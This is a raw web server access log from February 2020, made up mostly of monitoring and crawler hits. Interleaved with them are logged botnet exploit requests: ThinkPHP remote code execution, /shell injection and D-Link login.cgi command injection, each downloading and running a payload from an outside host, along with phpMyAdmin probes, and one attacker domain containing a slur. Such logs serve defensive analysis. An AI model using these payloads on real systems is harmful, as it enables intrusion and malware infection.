42.117.130.121 - - [13/Feb/2020:07:12:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.188.213 - - [13/Feb/2020:07:20:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.217.174.141 - - [13/Feb/2020:07:21:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:07:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.189.195.39 - - [13/Feb/2020:07:26:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:07:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.230.31.50 - - [13/Feb/2020:07:36:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
112.27.187.117 - - [13/Feb/2020:07:37:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [13/Feb/2020:07:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.172.230.132 - - [13/Feb/2020:07:38:46 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:07:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.92.239.155 - - [13/Feb/2020:07:39:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:07:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.31 - - [13/Feb/2020:07:41:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.74.33.52 - - [13/Feb/2020:07:41:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.46.222 - - [13/Feb/2020:07:45:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.226.136.36 - - [13/Feb/2020:07:45:31 +0100] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 346 "-" "ZmEu"
35.226.136.36 - - [13/Feb/2020:07:45:31 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "ZmEu"
212.91.246.72 - - [13/Feb/2020:07:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [13/Feb/2020:07:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
169.0.168.154 - - [13/Feb/2020:07:48:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:07:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [13/Feb/2020:07:50:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [13/Feb/2020:07:50:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [13/Feb/2020:07:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [13/Feb/2020:07:52:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [13/Feb/2020:07:52:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
121.161.99.72 - - [13/Feb/2020:07:53:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:07:53:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:07:53:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:07:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.161.99.72 - - [13/Feb/2020:07:53:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.161.99.72 - - [13/Feb/2020:07:53:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:07:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:07:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [13/Feb/2020:07:55:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
49.235.146.76 - - [13/Feb/2020:07:56:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.122.111.105 - - [13/Feb/2020:07:57:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:07:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.235.1.146 - - [13/Feb/2020:07:57:38 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:07:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.234.17 - - [13/Feb/2020:07:58:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
192.241.234.17 - - [13/Feb/2020:07:59:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [13/Feb/2020:07:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.214.19.125 - - [13/Feb/2020:07:59:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.48.113.240 - - [13/Feb/2020:08:00:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:08:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.112.230 - - [13/Feb/2020:08:03:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [13/Feb/2020:08:03:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
201.178.58.226 - - [13/Feb/2020:08:04:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:08:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.73.116.69 - - [13/Feb/2020:08:06:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [13/Feb/2020:08:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.231.173.222 - - [13/Feb/2020:08:10:29 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [13/Feb/2020:08:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.253.163.29 - - [13/Feb/2020:08:14:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:08:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.212.183 - - [13/Feb/2020:08:16:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.34.3.130 - - [13/Feb/2020:08:16:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
119.197.27.4 - - [13/Feb/2020:08:17:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
147.30.12.224 - - [13/Feb/2020:08:18:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.74.210 - - [13/Feb/2020:08:20:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.69.243.200 - - [13/Feb/2020:08:21:11 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:08:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.79.249.130 - - [13/Feb/2020:08:23:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.121.248 - - [13/Feb/2020:08:23:13 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative)"
46.118.121.248 - - [13/Feb/2020:08:23:14 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative)"
46.118.121.248 - - [13/Feb/2020:08:23:14 +0100] "GET / HTTP/1.1" 200 1229 "https://pizdeishn.com/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90; Creative)"
212.91.246.72 - - [13/Feb/2020:08:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.37.4 - - [13/Feb/2020:08:23:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [13/Feb/2020:08:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.233.135 - - [13/Feb/2020:08:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.64.88 - - [13/Feb/2020:08:25:28 +0100] "GET /robots.txt HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.88 - - [13/Feb/2020:08:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [13/Feb/2020:08:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:08:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [13/Feb/2020:08:31:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [13/Feb/2020:08:31:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [13/Feb/2020:08:31:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [13/Feb/2020:08:31:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
